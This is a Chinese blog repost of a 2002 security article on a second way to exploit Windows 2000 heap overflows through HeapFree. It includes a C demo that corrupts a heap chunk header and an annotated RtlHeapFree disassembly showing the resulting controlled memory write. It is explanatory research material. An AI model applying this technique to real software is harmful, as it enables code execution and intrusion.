【分析】Windows下的Heap溢出的另一种方法(WSS-Articles-02011)

WebDav漏洞简单分析及通用exploit设计 WebDav漏洞简单分析及通用exploit设计    拜读了isno写的>、>,以及Nankia写的>之后,用他们发布的exploit、以及能在网上找到的exploit在我的一些测试机上测试,有些成功,有些不成功。于是便想自己调试一下。在后来的调试过程中,参考了大量资料,特别是yuange所写的>。在这过程中我学到了很多东西,自己也有些心得体会,其中可能有不少错误的地方,于是便想写下来,一来请各 阅读详情

Windows下的Heap溢出的另一种方法(WSS-Articles-02011)


创建时间:2002-05-30
文章属性:原创
文章来源: http://www.whitecell.org/
文章提交: alert7 (sztcww_at_sina.com)

Windows下的Heap溢出的另一种方法(WSS-Articles-02011)

Author:  ilsy
Email:   ilsy@whitecell.org
Homepage: http://www.whitecell.org
Date:    2002-05-30


感谢:alert7、isno

    Windows下的Heap溢出的文章现在并不多,isno写过一篇,我看了受益匪浅,但他实现的利用方法是
“假设我们分配完buf1之后向其中拷贝内容,拷贝的内容大小超过buf1的大小,即16字节,就会发生溢
出,当如果我们覆盖掉了那两个4字节的指针,而下一次分配buf2之前又没有把buf1释放掉的话,那么就
会把一个4字节的内容写入一个地址当中,而这个内容和地址都是我们能够控制的,这样我们就可以控制
函数的流程转向我们的shellcode了”,我下面描述另外一种利用方法,也算是给isno的那篇文章做一点
补充。
    在Windows下也是可以像Linux下那样用free()对Heap溢出进行利用,在Windows下用HeapAlloc()函数
分配内存后的内存和映象和结构我就不说了,可以看isno的文档,在HeapAlloc()分配完内存后,每一块
内存的前面都包含一个8字节的管理区,这个管理区应该是下面的样子:

0    4     5     6    8
|不祥|Field|Flags|不祥|


    这8个字节用于HeapFree时使用,假设我们分配2个32字节的内存,当向第一个32字节内存填充达38字
节内容时,这时,覆盖了第二个32字节内存的管理区的6个字节,如果这6个字节经过我们精心设计,我们
时可以控制程序的流向的。
下面代码演示分配2个32字节的内存,在调用HeapFree时发生错误:

#include <string.h>
#include <stdio.h>
#include <windows.h>
#include <malloc.h>

int main (int argc, char *argv[])
{
  HANDLE hHeap;
  char *buf1, *buf2;
  
  //一个32字节的缓冲区
  char mybuf[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
  
    
  //在进程的默认HEAP当中分配内存
  hHeap=GetProcessHeap();

  //分配两块32字节内存
  buf1 = HeapAlloc(hHeap, 0, 32);
  buf2 = HeapAlloc(hHeap, 0, 32);

  //把32字节的mybuf拷贝到16字节的buf1里面
  strcpy(buf1,mybuf);

  //更改管理结构
  memset(buf1+32,0x99,1);
  memset(buf1+32+5,0xff,1);
  
  //释放内存    
  HeapFree(hHeap, 0, buf1);
  //这里会出错
  HeapFree(hHeap, 0, buf2);

  return 0;
}


当程序在内存未释放前,内存映象是这样的:

0                                32                                      40
|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|0x99,0x00,0x05,0x00,0x00,0xff,0xxx,0xxx|

我们可以看到,管理区的前6个字节被我们改写了

第一个字节:必须大于0x80,我们改成0x99
第四个字节:必须小于0x40
第五个字节:第0和第3位必须置位,例如可以改成0x09,我们这里改成0xFF

我们可以分析_RtlHeapFree()的反汇编代码,这样可以知道为什么要这样改:

77FC9C97   mov         al,byte ptr [esi+5]
77FC9C9A   test        al,1            //检查管理区的第5字节的第0位是否置位
77FC9C9C   je          77FC9019
77FC9CA2   test        dl,7
77FC9CA5   jne         77FC9019
77FC9CAB   cmp         byte ptr [esi+4],40h    //检查管理区的第4字节是否小于0x40
77FC9CAF   jae         77FC9019
77FC9CB5   or          dword ptr [ebp-4],0FFh
77FC9CB9   mov         ecx,dword ptr [edi+580h]
77FC9CBF   test        ecx,ecx
77FC9CC1   je          77FC9D03
77FC9CC3   cmp         dword ptr [edi+584h],0
77FC9CCA   jne         77FC9D03
77FC9CCC   test        al,8            //检查管理区的第5字节的第0位是否置位
77FC9CCE   jne         77FC9D03
77FC9CD0   movzx       eax,word ptr [esi]
77FC9CD3   mov         dword ptr [ebp-30h],eax
77FC9CD6   cmp         eax,80h            //检查管理区的第1字节的是否大于0x80
77FC9CDB   jae         77FC9D03            //我们需要跳到这个地址
77FC9CDD   push        edx
77FC9CDE   lea         eax,[eax+eax*2]
77FC9CE1   shl         eax,4
77FC9CE4   add         eax,ecx
77FC9CE6   push        eax
77FC9CE7   call        77F89846
77FC9CEC   test        al,al
77FC9CEE   je          77FC9D03
77FC9CF0   mov         al,1
77FC9CF2   mov         ecx,dword ptr [ebp-10h]
77FC9CF5   mov         dword ptr fs:[0],ecx
77FC9CFC   pop         edi
77FC9CFD   pop         esi
77FC9CFE   pop         ebx
77FC9CFF   leave
77FC9D00   ret         0Ch

用release方式编译上面代码运行,弹出如下窗口:0x77fca200指令引用的0x41414141内存不能为written。

这个41414141在那里呢?我们用softice跟踪可以发现如下代码:

77FCA1EF   add         esi,-18h              //这时esi指向管理区的入口处,也就是buf1-18h处
(这个18在不同的版本的Windows 2000上是不一样的,请根据不同的Windows 2000版本处理),那里正是我们可以控制的
77FCA1F2   mov         dword ptr [ebp-64h],esi
77FCA1F5   mov         eax,dword ptr [esi]
77FCA1F7   mov         dword ptr [ebp-68h],eax
77FCA1FA   mov         esi,dword ptr [esi+4]
77FCA1FD   mov         dword ptr [ebp-6Ch],esi
77FCA200   mov         dword ptr [esi],eax        //写内存,发生错误
77FCA202   mov         dword ptr [eax+4],esi

有了上面的基础,我们就可以利用HeapFree()函数了,^_^
至于具体攻击程序的编写,请参考isno写的文章《Windows下的HEAP溢出及其利用》,方法是一样的。


WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。
WSS 主页: http://www.whitecell.org/
WSS 论坛: http://www.whitecell.org/forum/
28377D Bootloader 架构 阅读详情

相关推荐

导出库的版本_Windows下PaddleOCR在C++中的推理部署(CPU版本)CMake + VS2017

PaddleOCR是一个与OCR相关的开源项目,不仅支持超轻量级中文OCR预测模型,总模型仅8.6M(单模型支持中英文数字组合识别、竖排文本识别、长文本识别,其中检测模型DB(4.1M)+识别模型CRNN(4.5M)),而且提供多种文本检测训练算法(EAST、DB)和多种文本识别训练算法(Rosetta、CRNN、STAR-Net、RARE)。本文将教大家通过PaddleOCR(CPU版...

weixin_31304817的博客 1917

FreeXploiT 成立三年感言!

 04年成立的,和一个朋友,现在那个朋友不知所踪了(他叫菜菜,很早就玩汇编了)后来的两年基本是我一个人更新里面的blog我这个算是最早的安全聚合blog吧? 暗礁的也挺早 不过是团队形式的 鬼仔的05年 neeao的04.10.26我的04.10.15那时候就是想弄点资料自己收藏着看看 ,当然也有很长远的目标 就是想做一个网站 先拿blog练练手一练就是三年啊 哈。。blo

FreeXploiT 8491

从零到一:在RK3588 Android12上实战RTL8723DU WiFi蓝牙双模驱动移植

本文详细介绍了在RK3588 Android12系统上实战RTL8723DU WiFi蓝牙双模驱动移植的全过程。从驱动源码获取与修改、系统级集成与编译,到调试与性能优化,提供了完整的解决方案。特别针对USB接口适配、电源管理和蓝牙共存等关键问题给出了具体代码示例,帮助开发者快速完成驱动适配并提升设备稳定性。

weixin_28703489的博客 326

Metasploit Framework all part 1-3

Metasploit Framework, Part 1 Pukhraj Singh, K.K. Mookhey 2004-07-12 <!--This article provides an elaborate insight into the Open Source exploit framework, the Metasploit Fra

FreeXploiT 7212

riscv32-gcc工具链实战:从下载到编译的完整指南

本文提供了一份详尽的riscv32-gcc工具链实战指南,涵盖从官方渠道下载预编译版本、正确选择riscv32-glibc版本、配置环境变量到实战编译的全过程。通过清晰的步骤和避坑指南,帮助开发者快速搭建稳定的RISC-V交叉编译环境,并成功编译从Hello World到Linux内核的程序。

s3t4u的博客 676

Intel Arc显卡玩《三角洲行动》报错?手把手教你修改注册表跳过验证

本文针对Intel Arc显卡用户在运行《三角洲行动》时遇到的驱动验证报错问题,提供了详细的解决方案。通过安全修改Windows注册表,添加特定键值以跳过游戏驱动兼容性验证,并结合游戏内图形设置与Intel驱动面板的优化建议,旨在帮助玩家顺利进入游戏并提升游戏帧率与运行稳定性。

weixin_29310605的博客 700

强大溢出工具包:Metasploit命令行下的使用 (转至77169)

Metasploit 是个好东西,实在想不到别的办法了,或许这东西能帮你一下,Metasploit包含了众多exploit,说不准还能用上几个,搞几台好肉鸡.下载Metasploit双击进行安装,非常简单,一路回车就行了。安装完之后看下安装目录下的Msfconsole.bat和msfweb.bat,第一个是命令下的控制台。第二个是图形界面下的程序。现在我们先来看下命令行下的使用方法,运行后我们看到

FreeXploiT 7174

Python主要智能优化算法库汇总

最近几年简单浏览和对比了一些智能算法的库。现将各种库的主要信息、相关优缺点简单整理如下,各位同学可根据自己的需求和喜好进行选择。 文章目录1、DEAP2、mealpy3、scikit-opt (国产良心)4、Geat2(国产用心)5、pygmo26、pyswarms7、SciPy(想不到吧)小结 1、DEAP 项目地址:https://github.com/DEAP/deap 安装: pip install deap 优点: 起点高,发表在Journal of Machine Learning Rese

半个冯博士 2万+

【分析】对于SSH crc32 compensation attack detector exploit 的分析

对于SSH crc32 compensation attack detector exploit 的分析创建时间:2001-11-12文章属性:整理文章提交:xundi (xundi_at_xfocus.org)by xundi@xfocus.orghttp://xfocus.org2001/11/10由于SSH crc32 compensation attack detector exploit

FreeXploiT 3576

YOLOv11改进 | 添加注意力篇 | 一文带你改进GAM、CBAM、CA、ECA等通道注意力机制和多头注意力机制

这篇文章给大家带来的改进机制是一个汇总篇,包含一些简单的注意力机制,本来一直不想发这些内容的(网上教程太多了,发出来增加文章数量也没什么意义),但是群内的读者很多都问我这些机制所以单独出一期视频来汇总一些比较简单的注意力机制添加的方法和使用教程,本文的内容不会过度的去解释原理,更多的是从从代码的使用上和实用的角度出发去写这篇教程。欢迎大家订阅我的专栏一起学习YOLO!YOLOv11改进系列专栏——本专栏持续复习各种顶会内容——科研必备目录一、本文介绍二、GAM2.1 GAM的介绍2.2 GAM的核心代码。

Snu77的博客 5156

使用Spring Cloud实现银行核心系统的案例示例

以下是一个基于Spring Cloud的银行核心业务系统实现方案,涵盖架构设计、关键模块实现与生产级部署方案。该系统设计满足金融级高可用、强一致性和监管合规要求。

银行信息系统应用架构详解 1175

【实战】Serv-U "site chmod xxx" Exploit

Serv-U "site chmod xxx" Exploit创建时间:2004-02-20文章属性:转载文章提交:velvet (zodiacsoft_at_hotmail.com)论坛登陆名: SWAN提交者邮件地址: ????提交者QQ号码: ????版权:文章属中华安全网http://www.safechina.net和作者共同所有,转载请注明出处!!标题: Serv-U "site ch

FreeXploiT 3009

准备生日礼物

摘要: 题目要求统计某月份需要准备的员工生日礼物数量。输入包括目标月份、员工姓名列表和对应的生日列表(格式为Year/Month/Day)。需处理重复员工(以最后一次录入为准),统计该月生日的员工人数。示例1中5月有3名员工生日,输出3;示例2中10月有6名,输出6。解题关键在于使用哈希表去重(以员工姓名为键),拆分生日字符串提取月份进行匹配。代码实现(C++/Java/Python)均遵循以下步骤:读取输入、哈希去重、解析月份并统计目标月份人数。时间复杂度为O(n),空间复杂度O(n)。

面试高手的博客 300

【分析】通用的攻击WebDAV漏洞的方法

通用的攻击WebDAV漏洞的方法创建时间:2003-03-29文章属性:原创文章来源:http://www.xfocus.net文章提交:isno (isno_at_sina.com)by isno    前几天写的WebDAV漏洞的分析和溢出程序,有一些网友对exploit程序的成功率提出了质疑,哈哈,那个程序确实写的不好,成功率是比较低的。这两天我又翻出yuange原来写的《widechar的

FreeXploiT 2941

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

【原理+实战】window系统下的堆栈溢出

window系统下的堆栈溢出作者:ipxodi>日期:2000-05-23◆原理篇这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序的堆栈溢出漏洞。让我们从头开始。windows 98第二版首先,我们来写一个问题程序:#include int main(){char name[32];gets(name);for(int i=0;iprintf("//0x%x"

FreeXploiT 2765

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

Win32 缓冲区溢出实战 (转)

Win32 缓冲区溢出实战 --------------------------------------------------------------------------------    原文:《Intro to Win32 Exploits》作者:Sergio Alvarez 2004.09.05译者:cloie#ph4nt0m.org 2004.10.30一、前序很多次被朋友邀请写

FreeXploiT 2554

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

【分析】Serv-U "MDTM"命令远程溢出分析

Serv-U "MDTM"命令远程溢出分析创建时间:2004-03-05文章属性:转载文章提交:peak (pe4k_at_eyou.com)Serv-U "MDTM"命令远程溢出分析                                       czy 于 04.02.29    2月27号一早在securityfocus看到了这个漏洞的公告,上面清楚的说明了You must ha

FreeXploiT 2552

--------溢出植入型木马(后门)的原型实现 作者:FLASHSKY(原创)

 作者:FLASHSKY(原创)作者邮箱:flashsky@xfocus.org站点:    www.xfocus.net申明: 作者无意实现一个木马,作者也不是一个木马开发者,只是提供一种思路:将缓冲区溢出攻击和木马/后门相结合的木马实现手段,通过一个简单的原型来验证这种思路的可行性,并展示给大家看到这种实现方式的很多特点和优势。也提请安全研究人员对这种木马发展技术给予较高的关注,提出查杀和避免

FreeXploiT 2374

【原理】UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums.

UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums.创建时间:2002-08-15文章属性:翻译文章提交:1cbm (edp_at_mail.victoriagrandhotel.com)UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums. =======

FreeXploiT 2373

nc 1.1 -e 远程缓冲区溢出

/* Netcat v1.1, "-e" Switch, Remote Buffer Overflow Exploit v0.1 Homepage..........: http://www.securityfocus.com/tools/139/scoreit Affected versions.: v1.1 Fix....

FreeXploiT 2360

浅析mcafee的“缓冲区溢出保护”及绕过方法【安焦Leven】

[mcafee的“缓冲区溢出保护”]    如果处在堆栈里的shellcode调用了getprocaddress等函数,mcafee会中止当前进程并报警。[分析原理]    mcafee对所有进程截获了loadlibrarya、loadlibraryw、getprocaddress等api函数,方法类似api截获:将这些函数的开始几个字节改为call detectapiret,即调用entapi.

FreeXploiT 2354

【例子】WIN平台缓冲溢出程序编写

创建时间:2001-06-30文章属性:转载文章来源:http://go4.163.com/watercloud/文章提交:quack (quack_at_xfocus.org)post by cloud (safesuite@263.net)最近刚研究了WIN平台的溢出,在openlab(61.150.43.7) VC版贴过.后来整理了一下 下载win_of.zip题目有:        01

FreeXploiT 2226

循环嵌套(多层 for 循环)

表:order(订单表,order_id, user_id)、user(用户表,user_id, user_name)✅ 优化:先查所有订单,拿到所有 user_id 批量 in 查询,内存 join。✅ 优化:先把优惠券转 HashMap,单层循环查找(hash 查找 O (1))SQL 只有 2 次,O (1) 数据库查询,内存遍历 O (n)。需求:查询所有订单列表,同时带出每个订单对应的用户名称。需求:订单列表、优惠券列表,把订单匹配对应的优惠券名称。复杂度:O (M+N),非常快。

weixin_43732943的博客 224

Python+Agent入门笔记(六):记忆和状态,从“一次性问答”到“能用助手”

滑动窗口的缺点很明显:被扔掉的信息就真没了。如果用户第一轮说“我不吃辣”,隔了二十轮让他推荐餐厅,模型已经忘了。定期把旧的对话压缩成一段总结,作为一条特殊的消息插进去。"""把除 system 和最近 keep_recent 条以外的消息,压缩成一条摘要。返回新的 messages 列表。"""# 把旧消息拼成纯文本,让模型总结content = f"[工具结果]把除 system 和最近 keep_recent 条以外的消息,压缩成一条摘要。返回新的 messages 列表。

qq_41241612的博客 113

【数据结构-5】单链表的实现

单链表,具体来说是单向的、不带头的、不循环的链表。链表由一个一个节点组成,每个节点分为数据域和指针域,数据域存放数据,指针域存放下一节点的地址。这样,就可以根据指针域中的地址找到下一个节点,节点就串起来了构成了单链表。

a bit 217

C# 数据结构和特殊类型

.NET Core(现称.NET)提供丰富数据结构,优化性能与开发效率。日常开发首选List<T>和Dictionary<TKey,TValue>;高性能场景推荐Span<T>与Memory<T>减少内存分配;并发环境使用ConcurrentDictionary等线程安全集合;避免非泛型集合如ArrayList。

cccloveforever的博客 751
上一篇: 【实战】VMware GSX Server远程缓冲区溢出漏洞
下一篇: 【例子】一个C++溢出虚函数指针的更真实试验
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值